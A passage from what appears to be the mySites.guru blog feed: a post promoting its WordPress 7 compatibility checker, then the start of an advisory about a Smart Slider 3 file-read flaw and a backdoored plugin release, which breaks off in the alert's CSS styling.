&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt; in mySites.guru scans every connected WordPress site and shows you exactly which ones meet the new requirements and which don&apos;t. Connect &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; to your account and check them all from one screen. It&apos;s included in all &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscriptions&lt;/a&gt; at no extra cost.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Check all your WordPress sites for 7.0 compatibility&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2&quot;&amp;gt;&amp;lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open WordPress 7 Compatibility Checker&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Colour-codes every connected site&apos;s PHP version, database version, and auto-update status against the WordPress 7.0 requirements.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What Does the WordPress 7 Hosting Check Show?&lt;/h2&gt;
&lt;p&gt;The tool lists every WordPress site connected to your account. For each one, you see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The currently installed WordPress version&lt;/li&gt;
&lt;li&gt;Which hosting server the site runs on (hostname)&lt;/li&gt;
&lt;li&gt;Whether &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; is set in wp-config.php&lt;/li&gt;
&lt;li&gt;PHP version, colour-coded against the 7.0 requirements&lt;/li&gt;
&lt;li&gt;Database version (MySQL or MariaDB), also colour-coded&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-200 p-2 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;span class=&quot;text-red-700 dark:text-red-400 font-medium&quot;&amp;gt;Red&amp;lt;/span&amp;gt; means below minimum. &amp;lt;span class=&quot;text-yellow-700 dark:text-yellow-400 font-medium&quot;&amp;gt;Yellow&amp;lt;/span&amp;gt; means it meets the minimum but not the recommended version. &amp;lt;span class=&quot;text-green-700 dark:text-green-400 font-medium&quot;&amp;gt;Green&amp;lt;/span&amp;gt; means the recommended version or better. Sites that need action stand out immediately.&lt;/p&gt;
&lt;h2&gt;How Does the Colour Coding Work?&lt;/h2&gt;
&lt;p&gt;The tool uses three tiers:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 overflow-x-auto&quot;&amp;gt;
&amp;lt;table class=&quot;w-full text-sm&quot;&amp;gt;
&amp;lt;thead&amp;gt;
&amp;lt;tr class=&quot;border-b border-neutral-200 dark:border-neutral-700&quot;&amp;gt;
&amp;lt;th class=&quot;py-3 pr-4 text-left font-semibold&quot;&amp;gt;Colour&amp;lt;/th&amp;gt;
&amp;lt;th class=&quot;py-3 px-4 text-left font-semibold&quot;&amp;gt;PHP&amp;lt;/th&amp;gt;
&amp;lt;th class=&quot;py-3 px-4 text-left font-semibold&quot;&amp;gt;MySQL&amp;lt;/th&amp;gt;
&amp;lt;th class=&quot;py-3 pl-4 text-left font-semibold&quot;&amp;gt;MariaDB&amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/thead&amp;gt;
&amp;lt;tbody&amp;gt;
&amp;lt;tr class=&quot;border-b border-neutral-100 dark:border-neutral-800&quot;&amp;gt;
&amp;lt;td class=&quot;py-3 pr-4&quot;&amp;gt;&amp;lt;span class=&quot;inline-flex items-center gap-2&quot;&amp;gt;&amp;lt;span class=&quot;inline-block h-3 w-3 rounded-full bg-green-500&quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;font-medium text-green-700 dark:text-green-400&quot;&amp;gt;Recommended&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td class=&quot;py-3 px-4&quot;&amp;gt;8.3+&amp;lt;/td&amp;gt;
&amp;lt;td class=&quot;py-3 px-4&quot;&amp;gt;8.4+ (LTS)&amp;lt;/td&amp;gt;
&amp;lt;td class=&quot;py-3 pl-4&quot;&amp;gt;11.4+ (LTS)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr class=&quot;border-b border-neutral-100 dark:border-neutral-800&quot;&amp;gt;
&amp;lt;td class=&quot;py-3 pr-4&quot;&amp;gt;&amp;lt;span class=&quot;inline-flex items-center gap-2&quot;&amp;gt;&amp;lt;span class=&quot;inline-block h-3 w-3 rounded-full bg-yellow-500&quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;font-medium text-yellow-700 dark:text-yellow-400&quot;&amp;gt;Minimum&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td class=&quot;py-3 px-4&quot;&amp;gt;7.4 - 8.2&amp;lt;/td&amp;gt;
&amp;lt;td class=&quot;py-3 px-4&quot;&amp;gt;8.0 - 8.3&amp;lt;/td&amp;gt;
&amp;lt;td class=&quot;py-3 pl-4&quot;&amp;gt;10.6 - 11.3&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td class=&quot;py-3 pr-4&quot;&amp;gt;&amp;lt;span class=&quot;inline-flex items-center gap-2&quot;&amp;gt;&amp;lt;span class=&quot;inline-block h-3 w-3 rounded-full bg-red-500&quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;font-medium text-red-700 dark:text-red-400&quot;&amp;gt;Below minimum&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td class=&quot;py-3 px-4&quot;&amp;gt;&amp;lt; 7.4&amp;lt;/td&amp;gt;
&amp;lt;td class=&quot;py-3 px-4&quot;&amp;gt;&amp;lt; 8.0&amp;lt;/td&amp;gt;
&amp;lt;td class=&quot;py-3 pl-4&quot;&amp;gt;&amp;lt; 10.6&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/tbody&amp;gt;
&amp;lt;/table&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Yellow means your site will run WordPress 7.0, but we recommend upgrading to the current Long Term Support releases (MySQL 8.4 or MariaDB 11.4) when you can. WordPress officially requires MySQL 8.0 / MariaDB 10.6 as the floor.&lt;/p&gt;
&lt;p&gt;If you&apos;ve used our &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 compatibility checker&lt;/a&gt; or &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla5/compatibility&quot;&gt;Joomla 5 compatibility checker&lt;/a&gt;, you&apos;ll recognise the format. Same approach, adapted for the WordPress 7 requirements.&lt;/p&gt;
&lt;h2&gt;Where Do I Find the WordPress 7 Compatibility Checker?&lt;/h2&gt;
&lt;p&gt;The quickest way is the keyboard shortcut: press &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt; (lowercase c, then the number 7).&lt;/p&gt;
&lt;p&gt;You can also open the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; with &lt;code&gt;Cmd+K&lt;/code&gt; (or &lt;code&gt;Ctrl+K&lt;/code&gt; on Windows/Linux), type &quot;wordpress 7&quot; or &quot;compat&quot;, and press Enter.&lt;/p&gt;
&lt;p&gt;Or go straight to the URL: &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;https://manage.mysites.guru/en/tools/wordpress7/compatibility&lt;/a&gt; (you need to be logged in).&lt;/p&gt;
&lt;p&gt;The tool also appears on the &lt;a href=&quot;https://manage.mysites.guru/en/tools/tools/selector&quot;&gt;tools selector page&lt;/a&gt; alongside all the other diagnostic tools.&lt;/p&gt;
&lt;h2&gt;What Does the Auto-Updates Column Tell Me?&lt;/h2&gt;
&lt;p&gt;WordPress has a built-in automatic updater controlled by the &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;. The tool checks this for every site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;span class=&quot;text-green-700 dark:text-green-400 font-medium&quot;&amp;gt;Green&amp;lt;/span&amp;gt; (Disabled) means auto-updates are off. You control when WordPress 7.0 gets applied.&lt;/li&gt;
&lt;li&gt;&amp;lt;span class=&quot;text-yellow-700 dark:text-yellow-400 font-medium&quot;&amp;gt;Yellow&amp;lt;/span&amp;gt; (Enabled) means auto-updates are on. The site may upgrade to 7.0 on its own before you&apos;ve verified hosting compatibility.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why Does mySites.guru Recommend Disabling Auto-Updates?&lt;/h2&gt;
&lt;p&gt;WordPress auto-updates sound sensible until you&apos;re responsible for client sites, WooCommerce stores, or anything where downtime costs money:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A major version upgrade like 7.0 ships with database changes, new defaults, and deprecated functions. Plugins that worked yesterday can throw errors today.&lt;/li&gt;
&lt;li&gt;Plugin and theme auto-updates can break layouts, conflict with other plugins, or introduce bugs without warning.&lt;/li&gt;
&lt;li&gt;Updates during peak traffic cause temporary downtime, especially on shared hosting.&lt;/li&gt;
&lt;li&gt;There&apos;s no built-in rollback. If an update breaks something at 3am, the site stays broken until someone notices.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The 6.9 to 7.0 jump is exactly the kind of upgrade you want to control. We saw what happens when you don&apos;t: &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 crashed websites&lt;/a&gt; that had auto-updates enabled. A site on PHP 7.3 won&apos;t get 7.0 at all (WordPress blocks it), but a site on PHP 7.4 with an untested plugin stack could auto-upgrade and break before you&apos;ve had a chance to test anything.&lt;/p&gt;
&lt;p&gt;What we recommend: set &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; to stop all background updates, then set &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; to &lt;code&gt;minor&lt;/code&gt; so security patches (like 7.0.1, 7.0.2) still apply automatically. Point releases land on their own, major version jumps wait for you.&lt;/p&gt;
&lt;p&gt;mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable auto-updates across all your sites with one click per site&lt;/a&gt; from a single screen. No SSH, no editing wp-config.php on every server. You can also &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor upgrades only&lt;/a&gt; if you want a middle ground. And if you&apos;re curious what other wp-config constants are worth understanding, we wrote a guide to &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt; that covers the full set.&lt;/p&gt;
&lt;h2&gt;What Are the WordPress 7 Minimum Technical Requirements?&lt;/h2&gt;
&lt;p&gt;WordPress 7.0 raises two floors from WordPress 6.9:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP minimum moves from 7.2.24 to 7.4. PHP 8.3+ is recommended.&lt;/li&gt;
&lt;li&gt;MySQL minimum moves from 5.5.5 to 8.0. MySQL 8.4 LTS is recommended.&lt;/li&gt;
&lt;li&gt;MariaDB 10.6 minimum (unchanged from 6.9&apos;s recommended). MariaDB 11.4 LTS is recommended.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sites that don&apos;t meet the PHP or MySQL minimum won&apos;t be offered the WordPress 7.0 update. They stay on the 6.9 security branch until the hosting is upgraded. For the full breakdown of what changed and why, see our &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;WordPress 7.0 requirements post&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What If My Host Doesn&apos;t Meet the Minimum?&lt;/h2&gt;
&lt;p&gt;If your hosting provider is still running PHP 7.2 or MySQL 5.7, that&apos;s a bigger problem than WordPress compatibility. MySQL 5.7 extended support from Oracle ended in October 2023. PHP 7.2 reached end-of-life in November 2020. Running either in 2026 means your server has known, unpatched security vulnerabilities regardless of what CMS is on it.&lt;/p&gt;
&lt;p&gt;Most hosts let you change PHP versions from cPanel or Plesk without a support ticket. MySQL upgrades are usually on the host&apos;s side. If they haven&apos;t upgraded to MySQL 8 by now, the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 5 MySQL 8 migration wave&lt;/a&gt; already pressured most providers to move, so check with your host. If they still can&apos;t offer MySQL 8, it might be time to switch.&lt;/p&gt;
&lt;p&gt;Use the compatibility checker to filter by server hostname. That groups all your sites on the same host together, so you can see at a glance which hosting providers need attention. Once hosting is sorted, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;upgrade all your WordPress sites from one dashboard&lt;/a&gt; rather than logging into each one individually.&lt;/p&gt;
&lt;h2&gt;Questions?&lt;/h2&gt;
&lt;p&gt;If anything&apos;s unclear, reach out through the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact form&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;A few other things worth sorting before the release: &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin vulnerability alerting&lt;/a&gt; catches security issues across your portfolio, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;locking down plugin installs&lt;/a&gt; prevents clients from adding untested plugins right before a major upgrade, and &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate monitoring&lt;/a&gt; makes sure expired certs don&apos;t add to the chaos during the transition.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>php</category><category>hosting</category><category>updates</category><category>compatibility</category><enclosure url="https://mysites.guru/_astro/wordpress-7-technical-requirements-check.DKHdeIl9.png" length="0" type="image/png"/></item><item><title>Smart Slider 3 Hack Allows Any File to Be Downloaded</title><link>https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/</link><guid isPermaLink="true">https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/</guid><description>CVE-2026-3098 lets any subscriber download wp-config.php from 800,000 WordPress sites running Smart Slider 3. How to check and fix it.</description><pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose ssc-alert&quot;&amp;gt;
&amp;lt;div class=&quot;ssc-alert__rail&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;ssc-alert__header&quot;&amp;gt;
&amp;lt;div class=&quot;ssc-alert__icon&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;&amp;gt;&amp;lt;path d=&quot;M12 9v4&quot; /&amp;gt;&amp;lt;path d=&quot;M12 17h.01&quot; /&amp;gt;&amp;lt;path d=&quot;M10.29 3.86 1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z&quot; /&amp;gt;&amp;lt;/svg&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;ssc-alert__heading&quot;&amp;gt;
&amp;lt;div class=&quot;ssc-alert__eyebrow&quot;&amp;gt;&amp;lt;span class=&quot;ssc-alert__dot&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;ssc-alert__eyebrow-text&quot;&amp;gt;Critical update — April 8, 2026&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;ssc-alert__title&quot;&amp;gt;Smart Slider 3 Pro &amp;lt;span class=&quot;ssc-alert__version-strike&quot;&amp;gt;3.5.1.35&amp;lt;/span&amp;gt; was a supply-chain attack&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;ssc-alert__body&quot;&amp;gt;
&amp;lt;p&amp;gt;Since this post was published, a security breach affected the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version &amp;lt;strong&amp;gt;3.5.1.35&amp;lt;/strong&amp;gt;, which may have been installed on some websites before the issue was detected. The compromised release contains a remote code execution backdoor that runs shell commands or arbitrary PHP via a single query parameter, and it affects &amp;lt;strong&amp;gt;both the WordPress and Joomla editions&amp;lt;/strong&amp;gt; of Smart Slider 3 Pro.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;If your site is currently on 3.5.1.34 (the version this post recommended last week), you are still safe, but you must &amp;lt;strong&amp;gt;skip 3.5.1.35 entirely and update directly to 3.5.1.36 or later&amp;lt;/strong&amp;gt;. If your site ran 3.5.1.35 at any point, treat it as compromised: run the indicator-of-compromise checks and use Nextend&apos;s official cleanup script.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;ssc-alert__versions&quot; role=&quot;list&quot;&amp;gt;
&amp;lt;div class=&quot;ssc-alert__chip ssc-alert__chip--safe&quot; role=&quot;listitem&quot;&amp;gt;&amp;lt;span class=&quot;ssc-alert__chip-label&quot;&amp;gt;Last safe&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;ssc-alert__chip-value&quot;&amp;gt;3.5.1.34&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;ssc-alert__arrow&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;&amp;gt;&amp;lt;path d=&quot;M5 12h14&quot; /&amp;gt;&amp;lt;path d=&quot;m12 5 7 7-7 7&quot; /&amp;gt;&amp;lt;/svg&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;ssc-alert__chip ssc-alert__chip--bad&quot; role=&quot;listitem&quot;&amp;gt;&amp;lt;span class=&quot;ssc-alert__chip-label&quot;&amp;gt;Compromised&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;ssc-alert__chip-value&quot;&amp;gt;&amp;lt;s&amp;gt;3.5.1.35&amp;lt;/s&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;ssc-alert__arrow&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;&amp;gt;&amp;lt;path d=&quot;M5 12h14&quot; /&amp;gt;&amp;lt;path d=&quot;m12 5 7 7-7 7&quot; /&amp;gt;&amp;lt;/svg&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;ssc-alert__chip ssc-alert__chip--target&quot; role=&quot;listitem&quot;&amp;gt;&amp;lt;span class=&quot;ssc-alert__chip-label&quot;&amp;gt;Update to&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;ssc-alert__chip-value&quot;&amp;gt;3.5.1.36+&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;a href=&quot;/blog/smart-slider-3-pro-supply-chain-compromise/&quot; class=&quot;ssc-alert__cta&quot;&amp;gt;&amp;lt;span&amp;gt;Read the full supply-chain compromise post&amp;lt;/span&amp;gt;&amp;lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;&amp;gt;&amp;lt;path d=&quot;M5 12h14&quot; /&amp;gt;&amp;lt;path d=&quot;m12 5 7 7-7 7&quot; /&amp;gt;&amp;lt;/svg&amp;gt;&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;style&amp;gt;
/* Brand-aligned alert: neutral surface, thin border, red rail accent.
Mirrors the GitHub/Linear/Primer dev-tool aesthetic used throughout the site. */
.ssc-alert {
position: relative;
margin: 2rem 0;
padding: 1.5rem 1.5rem 1.5rem 1.75rem;
border-radius: 8px;
background: #ffffff;
border: 1px solid #e5e7eb;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.04);
overflow: hidden;
color: #1f2937;
}
.dark .ssc-alert {
background: #0f1115;
border-color: #2a2f3a;
color: #e5e7eb;
}
.ssc-alert__rail {
position: absolute;
left: 0;
top: 0;
bottom: 0;
width: 3px;
background: #dc2626;
}
.dark .ssc-alert__rail {
background: #ef4444;
}&lt;/p&gt;
&lt;p&gt;.ssc-alert__header {
display: flex;
gap: 0.875rem;
align-items: flex-start;
}
.ssc-alert__icon {
flex-shrink: 0;
width: 36px;
height: 36px;
border-radius: 8px;
background: #fef2f2;
border: 1px solid #fecaca;
display: flex;
align-items: center;
justify-content: center;
color: #dc2626;
}
.dark .ssc-alert__icon {
background: rgba(239, 68, 68, 0.1);
border-color: rgba(239, 68, 68, 0.25);
color: #f87171;
}
.ssc-alert__icon svg {
width: 20px;
height: 20px;
}&lt;/p&gt;
&lt;p&gt;.ssc-alert__heading {
flex: 1;
min-width: 0;
}
.ssc-alert__eyebrow {
display: inline-flex;
align-items: center;
gap: 0.5rem;
margin-bottom: 0.375rem;
}
.ssc-alert__dot {
width: 6px;
height: 6px;
border-radius: 999px;
background: #dc2626;
box-shadow: 0 0 0 2px rgba(220, 38, 38, 0.18);
animation: ssc-alert-blink 1.6s ease-in-out infinite;
}
.dark .ssc-alert__dot {
background: #ef4444;
box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.22);
}
@keyframes ssc-alert-blink {
0%, 100% { opacity: 1; }
50% { opacity: 0.35; }
}
.ssc-alert__eyebrow-text {
font-size: 0.75rem;
font-weight: 600;
color: #b91c1c;
letter-spacing: 0.01em;
}
.dark .ssc-alert__eyebrow-text {
color: #fca5a5;
}
.ssc-alert__title {
font-size: 1.125rem;
font-weight: 600;
line-height: 1.4;
color: #111827;
letter-spacing: -0.01em;
}
.dark .ssc-alert__title {
color: #f9fafb;
}
.ssc-alert__version-strike {
font-family: ui-monospace, &quot;SF Mono&quot;, Menlo, Consolas, monospace;
font-size: 0.95em;
text-decoration: line-through;
text-decoration-color: #dc2626;
text-decoration-thickness: 1.5px;
color: #6b7280;
}
.dark .ssc-alert__version-strike {
color: #9ca3af;
text-decoration-color: #ef4444;
}&lt;/p&gt;
&lt;p&gt;.ssc-alert__body {
margin-top: 0.875rem;
padding-left: calc(36px + 0.875rem);
}
.ssc-alert__body p {
margin: 0 0 0.625rem;
font-size: 0.9375rem;
line-height: 1.6;
color: #374151;
}
.dark .ssc-alert__body p {
color: #d1d5db;
}
.ssc-alert__body p:last-child {
margin-bottom: 0;
}
.ssc-alert__body strong {
color: #111827;
font-weight: 600;
}
.dark .ssc-alert__body strong {
color: #f9fafb;
}&lt;/p&gt;
&lt;p&gt;.ssc-alert__versions {
display: flex;
align-items: center;
gap: 0.5rem;
margin: 1.25rem 0 1.25rem;
padding-left: calc(36px + 0.875rem);
flex-wrap: wrap;
}
.ssc-alert__chip {
display: flex;
flex-direction: column;
gap: 0.0625rem;
padding: 0.5rem 0.75rem;
border-radius: 6px;
border: 1px solid #e5e7eb;
background: #f9fafb;
font-family: ui-monospace, &quot;SF Mono&quot;, Menlo, Consolas, monospace;
min-width: 96px;
}
.dark .ssc-alert__chip {
border-color: #2a2f3a;
background: #161922;
}
.ssc-alert__chip-label {
font-family: ui-sans-serif, system-ui, -apple-system, sans-serif;
font-size: 0.6875rem;
font-weight: 500;
text-transform: uppercase;
letter-spacing: 0.04em;
color: #6b7280;
}
.dark .ssc-alert__chip-label {
color: #9ca3af;
}
.ssc-alert__chip-value {
font-size: 0.9375rem;
font-weight: 600;
color: #111827;
}
.dark .ssc-alert__chip-value {
color: #f9fafb;
}
.ssc-alert__chip--safe {
border-color: #d1d5db;
}
.dark .ssc-alert__chip--safe {
border-color: #374151;
}
.ssc-alert__chip--bad {
border-color: #fecaca;
background: #fef2f2;
}
.dark .ssc-alert__chip--bad {
border-color: rgba(239, 68, 68, 0.3);
background: rgba(239, 68, 68, 0.06);
}
.ssc-alert__chip--bad .ssc-alert__chip-value {
color: #b91c1c;
}
.dark .ssc-alert__chip--bad .ssc-alert__chip-value {
color: #fca5a5;
}
.ssc-alert__chip--bad .ssc-alert__chip-value s {
text-decoration-color: #dc2626;
text-decoration-thickness: 1.5px;
}
.dark .ssc-alert__chip--bad .ssc-alert__chip-value s {
text-decoration-color: #ef4444;
}
.ssc-alert__chip--target {
border-color: #bbf7d0;
background: #f0fdf4;
}
.dark .ssc-alert__chip--target {
border-color: rgba(34, 197, 94, 0.3);
background: rgba(34, 197, 94, 0.08);
}
.ssc-alert__chip--target .ssc-alert__chip-label {
color: #15803d;
}
.dark .ssc-alert__chip--target .ssc-alert__chip-label {
color: #86efac;
}
.ssc-alert__chip--target .ssc-alert__chip-value {
color: #166534;
}
.dark .ssc-alert__chip--target .ssc-alert__chip-value {
color: #86efac;
}
.ssc-alert__arrow {
display: flex;
align-items: center;
color: #9ca3af;
}
.dark .ssc-alert__arrow {
color: #6b7280;
}
.ssc-alert__arrow svg {
width: 16px;
height: 16px;
}&lt;/p&gt;
&lt;p&gt;.ssc-alert__cta {
display: inline-flex;
align-items: center;
gap: 0.5rem;
margin-left: calc(36px + 0.875rem);
padding: 0.5rem 0.875rem;
border-radius: 6px;
background: #111827;
color: #ffffff !important;
font-size: 0.875rem;
font-weight: 500;
text-decoration: none !important;
border: 1px solid #111827;
transition: background-color 0.15s ease, border-color 0.15s ease;
}
.dark .ssc-alert__cta {
background: #f9fafb;
color: #111827 !important;
border-color: #f9fafb;
}
.ssc-alert__cta:hover {
background: #1f2937;
border-color: #1f2937;
}
.dark .ssc-alert__cta:hover {
background: #ffffff;
border-color: #ffffff;
}
.ssc-alert__cta svg {
width: 16px;
height: 16px;
transition: transform 0.15s ease;
}
.ssc-alert__cta:hover svg {
transform: translateX(2px);
}&lt;/p&gt;
&lt;p&gt;@media (max-width: 640px) {
.ssc-alert {
padding: 1.25rem 1.25rem 1.25rem 1.5rem;
}
.ssc-alert__body,
.ssc-alert__versions,
.ssc-alert__cta {
padding-left: 0;
margin-left: 0;
}
.ssc-alert__cta {
width: 100%;
justify-content: center;
}
}&lt;/p&gt;
&lt;p&gt;@media (prefers-reduced-motion: reduce) {
.ssc-alert__dot,
.ssc-alert__cta svg {
animation: none;
transition: none;
}
}&lt;/p&gt;
&lt;p&gt;/* Inline outdated-version warning popover */
.ssc-warn {
position: relative;
display: inline;
cursor: help;
text-decoration: line-through;
text-decoration-color: #ef4444;
text-decoration-thickness: 2px;
color: #b91c1c;
}
.dark .ssc-warn {
color: #fca5a5;
}
.ssc-warn::after {
content: &quot;!&quot;;
display: inline-flex;
align-items: center;
justify-content: center;
width: 14px;
height: 14px;
margin-left: 4px;
border-radius: 999px;
background: #ef4444;
color: #fff;
font-family: ui-sans-serif, system-ui, sans-serif;
font-size: 10px;
font-weight: 800;
text-decoration: none;
vertical-align: middle;
line-height: 1;
box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.2);
animation: ssc-warn-pulse 2s ease-in-out infinite;
}
@keyframes ssc-warn-pulse {
0%, 100% { box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.2); }
50% { box-shadow: 0 0 0 4px rgba(239, 68, 68, 0.35); }
}
.ssc-warn-popover {
position: absolute;
left: 50%;
bottom: calc(100% + 10px);
transform: translateX(-50%) translateY(4px);
width: max-content;
max-width: 320px;
padding: 12px 14px;
border-radius: 10px;
background: linear-gradient(135deg, #1a0507 0%, #2d0608 100%);
border: 1px solid rgba(248, 113, 113, 0.5);
box-shadow: 0 12px 32px rgba(0, 0, 0, 0.4), 0 0 0 1px rgba(239, 68, 68, 0.2);
font-family: ui-sans-serif, system-ui, sans-serif;
font-size: 0.8125rem;
font-weight: 400;
line-height: 1.5;
color: #fecaca;
text-decoration: none;
text-align: left;
opacity: 0;
pointer-events: none;
transition: opacity 0.15s ease-out, transform 0.15s ease-out;
z-index: 20;
white-space: normal;
}
.ssc-warn-popover::after {
content: &quot;&quot;;
position: absolute;
left: 50%;
top: 100%;
transform: translateX(-50%);
border: 6px solid transparent;
